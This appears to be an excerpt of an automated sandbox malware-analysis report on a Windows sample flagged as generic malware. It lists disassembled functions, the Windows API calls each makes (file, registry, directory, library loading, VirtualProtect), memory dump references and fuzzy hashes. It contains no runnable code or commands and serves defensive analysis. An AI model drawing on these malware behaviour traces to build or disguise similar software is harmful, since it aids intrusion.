Instruction ID: a8e1189db69026d3652efcc6ea6e12950466f7228f8283b9583ebcadfcee3162
Opcode Fuzzy Hash: d9c937c8948d5d37c50d665afaa08982dd07723c7233c08654f6d387f6d988e5
Instruction Fuzzy Hash: 8D215031904108BADF11AFA5CE49A9E7AB1BF44359F20413BF105B91E1CBBD89829A5D

Function 00401BA0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 00401C10
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401C22

Strings

Call, xrefs: 00401BC7, 00401BCD, 00401BE7

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: e33d9b87315d49944383bdaefc5ba1c13c649625d32d96b536ae23307826b8e2
Instruction ID: 4f57f46d507340bd06d3479355973fa93edc06c360faa14cbfff374a5dc28ea7
Opcode Fuzzy Hash: e33d9b87315d49944383bdaefc5ba1c13c649625d32d96b536ae23307826b8e2
Instruction Fuzzy Hash: 5721F673904214EBDB30AFA8DE85A5F72B4AB08324714053FF642B32C4C6B8DC418B9D

Function 00402304 Relevance: 4.6, APIs: 3, Instructions: 51stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040687E: FindFirstFileW.KERNELBASE(?,00425F58,C:\Users\user\AppData\Local\Temp\nst8185.tmp,00405F41,C:\Users\user\AppData\Local\Temp\nst8185.tmp,C:\Users\user\AppData\Local\Temp\nst8185.tmp,00000000,C:\Users\user\AppData\Local\Temp\nst8185.tmp,C:\Users\user\AppData\Local\Temp\nst8185.tmp, 44v,?,C:\Users\user\AppData\Local\Temp\,00405C4D,?,76343420,C:\Users\user\AppData\Local\Temp\), ref: 00406889
Part of subcall function 0040687E: FindClose.KERNEL32(00000000), ref: 00406895

lstrlenW.KERNEL32 ref: 00402344
lstrlenW.KERNEL32(00000000), ref: 0040234F
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 00402378

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: FileFindlstrlen$CloseFirstOperation
String ID:
API String ID: 1486964399-0
Opcode ID: c92c3ee3ae18d95aa1771da2fabd1cb2010788539e6b4ab8b952707b1b2048dc
Instruction ID: e570f7e88bbeadde5f19d209a5805755c0aba3de4ac721a8bb04e236ab5037c1
Opcode Fuzzy Hash: c92c3ee3ae18d95aa1771da2fabd1cb2010788539e6b4ab8b952707b1b2048dc
Instruction Fuzzy Hash: 93117071D00318AADB10EFF9DD09A9EB6B8AF14308F10443FA401FB2D1D6BCC9418B59

Function 004025A3 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004025D6
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 004025E9
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nst8185.tmp,00000000,00000011,00000002), ref: 00402602

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: ba34c4ace152f4771e18115f26e31f873f7731feb8842bd8527d51c3f02d9afa
Instruction ID: fdeb1b79bd1b5feb028a75c257e649ad2cddb418c0fd83a6570d1db0005c2465
Opcode Fuzzy Hash: ba34c4ace152f4771e18115f26e31f873f7731feb8842bd8527d51c3f02d9afa
Instruction Fuzzy Hash: 7D017171904205BFEB149F949E58AAF7678FF40308F10443EF505B61C0DBB84E41976D

Function 0040252F Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,00000033), ref: 00402560
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nst8185.tmp,00000000,00000011,00000002), ref: 00402602

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 56531dfc69c8a788bac7fcb245dee4885a6b683f52a9ec3ede9407be23b67ed3
Instruction ID: b0e4e1b430255f92fa12a8c2637aeeefdc8d450e0dea4cce8f1fdd2cec8de2f5
Opcode Fuzzy Hash: 56531dfc69c8a788bac7fcb245dee4885a6b683f52a9ec3ede9407be23b67ed3
Instruction Fuzzy Hash: 61116A71900219EBDF14DFA0DA989AEB7B4BF04349F20447FE406B62C0D7B84A45EB5E

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(0040A2D8,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 24120cd7971efbcf380a3cfcf85aef56aa5faf56da28ec4d1ccb8bb0957475b6
Instruction ID: 2b867b2a322a557ec20ecaa395e060e0be7e2a6973b32d365fcb6e947ad1390c
Opcode Fuzzy Hash: 24120cd7971efbcf380a3cfcf85aef56aa5faf56da28ec4d1ccb8bb0957475b6
Instruction Fuzzy Hash: 9E01F4327242209BE7195B389D05B6B3798E710314F10863FF855F66F1DA78CC429B4C

Function 00402439 Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040245B
RegCloseKey.ADVAPI32(00000000), ref: 00402464

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: 729ecf5bba26eed59db8e40ba0825d20aa39ecfc350fd83ab66bb719c7a4b8e3
Instruction ID: 823524eaaa32c5521ce5516f6f818df3cdafdbc5371ac3c1d9ba599ed9425974
Opcode Fuzzy Hash: 729ecf5bba26eed59db8e40ba0825d20aa39ecfc350fd83ab66bb719c7a4b8e3
Instruction Fuzzy Hash: 46F06232A04520ABDB10BBA89A8DAEE62B5AF54314F11443FE502B71C1CAFC4D02976D

Function 00405A75 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 00405AB7
GetLastError.KERNEL32 ref: 00405AC5

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 93d1f65b513afb97053b6d969de6af344d99c991354c8e43ed6bd2c6eb9068ab
Instruction ID: 25953aab165e2e3bb2b5eb59dc1d6ee29197e23c9d0e5a802ce790cbbbfebc39
Opcode Fuzzy Hash: 93d1f65b513afb97053b6d969de6af344d99c991354c8e43ed6bd2c6eb9068ab
Instruction Fuzzy Hash: 33F0F4B1D1060EDADB00DFA4C6497EFBBB4AB04309F04812AD941B6281D7B982488FA9

Function 00401EE3 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401F01
EnableWindow.USER32(00000000,00000000), ref: 00401F0C

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: b342668e68410e2d968fedd3eb79c8682b657b25800b9077b5ecd2124e99ac37
Instruction ID: a6cb0e5ea3b461fc76251f348ffd86be0a73501dc920cd99368f231d5504fafc
Opcode Fuzzy Hash: b342668e68410e2d968fedd3eb79c8682b657b25800b9077b5ecd2124e99ac37
Instruction Fuzzy Hash: F2E09A36A082049FE705EBA8AE484AEB3B0EB40325B200A7FE001F11C0CBB94C00866C

Function 00406915 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,0040360C,0000000C,?,?,?,?,?,?,?,?), ref: 00406927
GetProcAddress.KERNEL32(00000000,?), ref: 00406942

Part of subcall function 004068A5: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068BC
Part of subcall function 004068A5: wsprintfW.USER32 ref: 004068F7
Part of subcall function 004068A5: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 0040690B

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 38b25401b771ecf209a524bd0999a173af8b0ad39984603ae0a2953bb283c85e
Instruction ID: 5852e889d14e736f2df1098d3b7202b06462132acdc852f75f804bf3a6ff6809
Opcode Fuzzy Hash: 38b25401b771ecf209a524bd0999a173af8b0ad39984603ae0a2953bb283c85e
Instruction Fuzzy Hash: FCE08673604310EBD61056755D04D2773A8AF95A50302483EFD46F2144D738DC32A66A

Function 00406011 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004030C2,C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe,80000000,00000003), ref: 00406015
CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 00406037

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6be4d53c09d0ea7202590e2ef391dde9d68f005235e9a58d36352f422cb06a2c
Instruction ID: 9d50a09f5748d4f60ef03139cc16a9656d1073ae209d3065c053d14625e31d4c
Opcode Fuzzy Hash: 6be4d53c09d0ea7202590e2ef391dde9d68f005235e9a58d36352f422cb06a2c
Instruction Fuzzy Hash: 87D09E31654301AFEF098F20DE16F2EBAA2EB84B00F11552CB682941E0DA715819DB15

Function 00405ACF Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,004034EF,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037E6,?,00000008,0000000A,0000000C), ref: 00405AD5
GetLastError.KERNEL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00405AE3

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction ID: c141ebc68f4164d0a3663fa1b1ea49181af819f28e12deb644bc081b11005b13
Opcode Fuzzy Hash: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction Fuzzy Hash: 5DC08C30300A02DACF000B218F087073950AB00380F19483AA582E00A0CA308044CD2D

Function 00402896 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 004028B4

Part of subcall function 00406468: wsprintfW.USER32 ref: 00406475

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: c408762c6ae6a09676534d13277c6868af0c4062816ce02b100207dfef7a20c8
Instruction ID: 3ecce12b6213660a705480fd24811c4b14f3d13bc743ad81d22bf59cde18bc7d
Opcode Fuzzy Hash: c408762c6ae6a09676534d13277c6868af0c4062816ce02b100207dfef7a20c8
Instruction Fuzzy Hash: 8DE06D71904208AFDB01ABA5AA498AEB379EB44344B10483FF101B10C0CA794C119A2D

Function 0040173A Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

SearchPathW.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 0040174E

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: 96c3c64599610033e1741a12b780745032a27335a1d6010ee521e40a3137f023
Instruction ID: 71d187b5cc8d7de3a3c01a98f906eab562aacc0ad357dac51c0352885440fd59
Opcode Fuzzy Hash: 96c3c64599610033e1741a12b780745032a27335a1d6010ee521e40a3137f023
Instruction Fuzzy Hash: D9E04871204104ABE700DB64DD48EAA7778DB5035CF20453AE511A60D1E6B55905971D

Function 004060C3 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,0040347F,00000000,00414EC0,?,00414EC0,?,000000FF,00000004,00000000), ref: 004060D7

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction ID: de33e43015841e90b47a85578f5cc3acb86098a1fa118a6604a55d69533944a7
Opcode Fuzzy Hash: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction Fuzzy Hash: 41E08C3224022AABCF109E508D00EEB3B6CEB003A0F018433FD26E2090D630E83197A4

Function 00406094 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004034B1,00000000,00000000,00403308,000000FF,00000004,00000000,00000000,00000000), ref: 004060A8

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction ID: fd87eb1c4e4509ee71b5dc1f82ee1534a3bbef2287d177a98c1a1ef8e7fccbc0
Opcode Fuzzy Hash: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction Fuzzy Hash: 11E08C3229021AEBDF119E50CC00AEB7BACEB043A0F018436FD22E3180D671E83187A9

Function 70592A7F Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(7059505C,00000004,00000040,7059504C), ref: 70592A9D

Memory Dump Source

Source File: 00000000.00000002.72590322272.0000000070591000.00000020.00000001.01000000.00000004.sdmp, Offset: 70590000, based on PE: true

Associated: 00000000.00000002.72590238197.0000000070590000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.72590417653.0000000070594000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.72590494752.0000000070596000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70590000_SecuriteInfo.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d30b9a3c16bb8d7877d4fd8f0e9ed5d9b3b38e2fa94c7baa623fce4a30c0ef67
